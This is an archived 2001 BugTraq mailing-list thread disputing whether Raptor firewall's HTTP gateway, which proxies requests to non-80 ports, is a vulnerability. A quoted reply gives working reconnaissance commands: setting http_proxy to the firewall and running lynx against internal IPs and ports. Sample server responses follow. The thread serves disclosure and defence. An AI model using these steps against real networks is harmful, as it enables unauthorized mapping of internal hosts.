Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email firstname.lastname@example.org
From: Peter Robinson (peterSECUREGATEWAY.ORG)
Date: Tue Mar 27 2001 - 06:16:55 CST
Most http Proxy solutions (including squid and fw1) do this unless you
If you don't know what your doing... you don't know what your doing!!.
Don't blame the software.....
This is NOT a bug, just a feature .. Often you want people to use their
proxy to access web sites on other ports.
Proxies should be set up correctly to permit incoming HTTP access by ip
address and limited to what remote ports are allowed. The defaults are never
can you think of a particular case of port 10001
It hardly requires "brute force" The "setenv" LYNX/Unix default proxy are
the same as the proxy settings in a browser like Netscape or I.E.
(void)sprintf(buf,"Linux -- because all of us are smarter than some of
From: Umar Goldeli [mailto:umarsynflux.com.au]
Sent: Tuesday, 27 March 2001 9:03 AM
To: The List
Subject: Re: [BUGTRAQ] Raptor 6.5 http vulnerability (fwd)
---------- Forwarded message ----------
Date: Mon, 26 Mar 2001 17:11:45 +0200
From: Alexander Bochmann <abGXIS.DE>
Subject: Re: [BUGTRAQ] Raptor 6.5 http vulnerability
ATA.COM on Sat, Mar 24, 2001 at 05:55:29PM +0100
...on Sat, Mar 24, 2001 at 05:55:29PM +0100, Lysel Christian Emre wrote:
> 1. Problem Description
> The Raptor firewall is vulnerability for forwarding http
> request on other port numbers than 80, if a rule allows http
> When an extern or internal client, configures itself to use
> the nearest interface as proxy, it's possible to access other
> ports that 80 on the target host.
> 2.1 Non Vulnerable Versions
> Raptor firewall 6.0.2.
Depending on the configuration and on how you try it, 6.0.2
also seems to be vulnerable.
I already noticed some months ago that the Raptor (6.0.2)
firewall's http gateway possibly leaks information about an
internal network with the method you described, if redirected
services are used.
It's possible to brute-force IP addresses used on a DMZ
network: If you use the http gateway on the external
interface as proxy, you can access internal IPs (and
internal DNS names) directly - just try them all ;)
> setenv http_proxy http://external.firewall.name:80/
Now go on with something like...
> lynx -mime_header http://192.168.95.1:80/
...you will either get 403 or 503 errors from the gateway
(depending on it's configuration) for the destination:
> lynx -mime_header http://192.168.95.2:80/
HTTP/1.1 503 Service Unavailable
Server: Simple, Secure Web Server 1.1
Date: Mon, 26 Mar 2001 14:59:29 GMT
[.. etc ..]
...or, if you are lucky, an answer from a web server:
% lynx -mime_header http://192.168.95.74:80/
HTTP/1.1 200 OK
Date: Mon, 26 Mar 2001 14:43:19 GMT
Server: Apache/1.3.17 (Unix) mod_perl/1.24_01 PHP/3.0.18
Last-Modified: Thu, 15 Feb 2001 08:23:04 GMT
<!doctype html public "-//IETF//DTD HTML//EN">
[.. etc ..]
On this host, you can now try connections to other ports,
% lynx -mime_header http://192.168.95.74:901/
HTTP/1.0 400 Server Error
<HTML><HEAD><TITLE>400 Server Error</TITLE></HEAD><BODY><H1>400 Server
Error</H1>Samba is configured to deny access from this client
<br>Check your "hosts allow" and "hosts deny" options in smb.conf
Oh well, at least they didn't trust all internal IPs ;)